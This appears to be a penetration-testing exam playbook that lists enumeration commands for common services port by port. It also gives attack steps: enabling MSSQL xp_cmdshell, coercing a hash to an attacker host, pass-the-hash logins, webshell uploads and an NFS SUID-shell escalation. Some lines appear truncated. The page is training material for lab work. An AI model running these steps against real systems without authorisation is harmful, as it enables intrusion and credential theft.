Service enumeration — per-port playbook¶
Every open port is a conversation the machine is willing to have. This page is what to say to each one — but more importantly, what each service tends to give away and why, so you know what you're fishing for. For every service, hold the three questions: what version is it (→ exploit?), does it allow anonymous/default access, and what does it leak?
| Port | Service | Port | Service |
|---|---|---|---|
| 21 | FTP | 161 | SNMP |
| 22 | SSH | 389/636 | LDAP |
| 25 | SMTP | 443 | HTTPS |
| 53 | DNS | 445/139 | SMB |
| 80 | HTTP | 1433 | MSSQL |
| 88 | Kerberos | 3306 | MySQL |
| 110/143 | POP3/IMAP | 3389 | RDP |
| 111 | RPCbind/NFS | 5985/5986 | WinRM |
21 FTP¶
Why it matters: FTP's classic win is anonymous access — a login of anonymous:anonymous that was never meant to be reachable. It gives you files (often creds, source, backups) and sometimes write access to a directory that's also the web root — which turns into a webshell upload.
nmap -p21 --script "ftp-anon,ftp-syst" $IP # ftp-anon tells you instantly if anon works
ftp $IP # anonymous : anonymous
wget -r ftp://anonymous:anonymous@$IP/ # mirror everything, read it offline
ls -la and pull everything — config files and backups here routinely hold passwords for other services. Can you put a file? Note whether the FTP root might be served by the web server (/var/www, htdocs) — if so, upload a webshell and browse to it. Also check the version: vsftpd 2.3.4 (backdoor), ProFTPD mod_copy — both are instant footholds via searchsploit.
22 SSH¶
Why it matters: SSH is rarely the foothold (modern OpenSSH is solid) — it's usually the destination once you've found a credential or private key somewhere else. Treat an open 22 as "where a password I find later will probably work."
nmap -p22 -sV $IP # note version for searchsploit (rarely fruitful, but check)
ssh $USER@$IP # once you have creds from elsewhere
chmod 600 id_rsa; ssh -i id_rsa user@$IP # a private key you looted
john's password in a config file → ssh john@$IP." Username enumeration via timing is unreliable on current OpenSSH; don't waste time on it.
25 SMTP¶
Why it matters: mail servers will often confirm whether a username exists (VRFY/EXPN/RCPT) — which hands you a valid user list for password spraying and AD attacks. That user list is frequently the real prize, not the mail itself.
nmap -p25 --script "smtp-commands,smtp-enum-users,smtp-open-relay" $IP
smtp-user-enum -M RCPT -U users.txt -t $IP # which of these users exist?
nc -nv $IP 25 # then: VRFY root / RCPT TO:<admin>
53 DNS¶
Why it matters: a misconfigured DNS server allows a zone transfer — it hands you the entire internal DNS map (every hostname, subdomain, internal IP). On an AD box that's a free map of the domain.
Reasoning: if AXFR works, every name it returns is a new target or a vhost to add to/etc/hosts. If it refuses, note the version and move on — DNS is rarely a direct foothold otherwise.
80/443 HTTP / HTTPS¶
Why it matters: web is the most common foothold surface, so it gets the most enumeration. The win is one of: a known-CVE in the CMS/version, a login with default creds, an upload feature, or a parameter you can abuse. See the full web attacks page. First moves:
whatweb http://$IP ; curl -sI http://$IP # tech stack + headers (server, framework, cookies)
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w subdomains.txt -fs <baseline> # vhosts
nikto -h http://$IP
/robots.txt; devs leak paths and creds there constantly. A version string on the CMS → searchsploit. A login panel → default creds + your looted creds. HTTPS cert (openssl s_client -connect $IP:443) frequently leaks hostnames/emails → usernames and vhosts. If the site looks empty, you probably haven't found the right vhost or directory yet — that's an enumeration gap, not a dead box.
88 Kerberos¶
Why it matters: port 88 means this is a Domain Controller — the whole box is now an Active Directory problem. Pivot your thinking to AD enumeration.
Reasoning: on a DC, your early goals are a valid user list (kerbrute/SMTP/LDAP) and then AS-REP roast / Kerberoast. Don't treat it like a standalone — it's the front of a chain.110/143 POP3 / IMAP¶
Why it matters: if you have (or guess) mail creds, the mailbox itself often contains passwords, password-reset links, or internal info. Mail is a content source.
111 RPCbind / NFS¶
Why it matters: NFS exports let you mount the target's filesystem. Beyond reading files, an export with no_root_squash is a direct privesc primitive (plant a root-owned SUID shell from your box — see Linux privesc).
showmount -e $IP # list exports — what's shared?
sudo mount -t nfs $IP:/export /mnt/nfs -o nolock
cat /etc/exports # (once on-box) check for no_root_squash
no_root_squash — that's a privesc you bank for after you get a shell.
139/445 SMB¶
Why it matters: SMB is one of the richest services on the exam. It leaks the OS/domain/hostname, often allows null/guest sessions (anonymous access to shares and sometimes the user list), hosts file shares full of loot, and — with creds — is your path to remote execution (psexec/wmiexec) and lateral movement.
netexec smb $IP # OS, domain, hostname, signing — free fingerprint
netexec smb $IP -u '' -p '' --shares # null session: any readable shares?
netexec smb $IP -u 'guest' -p '' --shares
smbclient //$IP/share -N # browse a share anonymously
enum4linux-ng -A $IP # users, groups, shares, password policy
netexec smb $IP -u $USER -p $PASS --shares --users --groups # with creds
nmap -p445 --script smb-vuln-ms17-010 $IP # EternalBlue check
netexec line gives you the domain and OS for free — note them. A null or guest session that lists shares is a flashing light: read every readable share, especially non-default ones, for configs and creds. The password policy (--pass-pol) governs whether you can safely spray without locking accounts. With creds, SMB becomes execution: a (Pwn3d!) from netexec means admin → psexec. Writable share + Responder = hash capture (SCF/URL file).
161 (UDP) SNMP¶
Why it matters: SNMP is a sleeper. With a guessable community string (public/private), it dumps running processes (with passwords visible in command-line arguments), user accounts, installed software, and network layout. It's pure handed-to-you intel, and it's on UDP so people skip it.
snmpwalk -v2c -c public $IP # everything
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2 # processes — creds live here
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # Windows users
onesixtyone -c communities.txt $IP # brute the community string
-p password on the command line, and SNMP shows it. If public fails, brute the community string before giving up.
389/636 LDAP¶
Why it matters: LDAP is the directory. Anonymous binds (and authenticated queries) dump every domain user and group, and the description field frequently contains a password someone stashed there "temporarily."
ldapsearch -x -H ldap://$IP -s base namingcontexts # find the base DN
ldapsearch -x -H ldap://$IP -b "DC=$DOMAIN,DC=local" # anonymous dump
netexec ldap $IP -u $USER -p $PASS --users # with creds
description, info, userPassword, comment — passwords hide in plain sight. The user list feeds AS-REP roasting and spraying. See AD enum.
1433 MSSQL¶
Why it matters: MSSQL with credentials (or SQLi reaching it) gives command execution via xp_cmdshell, and can be coerced into leaking the service account's hash to your Responder. It's often a direct line from "DB creds in a config" to a shell.
impacket-mssqlclient $USER:$PASS@$IP -windows-auth
# enable + run commands:
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
# hash capture -> Responder:
EXEC xp_dirtree '\\$LHOST\share';
xp_cmdshell is often the fastest shell on the box. If the service runs as a privileged account, that whoami may already be high-priv.
3306 MySQL¶
Why it matters: MySQL holds application data — the users table with password hashes is often the foothold into the web app, and FILE privilege can read/write files on disk.
mysql -h $IP -u root -p # try root / no password / defaults
# inside: show databases; use app; select * from users; -> hashes to crack
FILE priv (read /etc/passwd, write a webshell to the web root).
3389 RDP¶
Why it matters: with creds (or an NT hash), RDP is a full interactive Windows desktop — sometimes the cleanest way to work a box, and it accepts pass-the-hash.
nmap -p3389 --script rdp-ntlm-info $IP # leaks hostname/domain even unauthenticated
xfreerdp /u:$USER /p:$PASS /v:$IP +clipboard /dynamic-resolution
xfreerdp /u:$USER /pth:$NTHASH /v:$IP # pass-the-hash
5985/5986 WinRM¶
Why it matters: WinRM + valid creds for a user in Remote Management Users = an instant, stable PowerShell shell with no exploit required. It's the Windows equivalent of SSH, and it's the cleanest foothold when you have creds.
netexec winrm $IP -u $USER -p $PASS # "(Pwn3d!)" = you can get a shell
evil-winrm -i $IP -u $USER -p $PASS
evil-winrm -i $IP -u $USER -H $NTHASH # pass-the-hash
(Pwn3d!), you have a shell in one command. This is frequently how an AD credential turns into a foothold on the next host.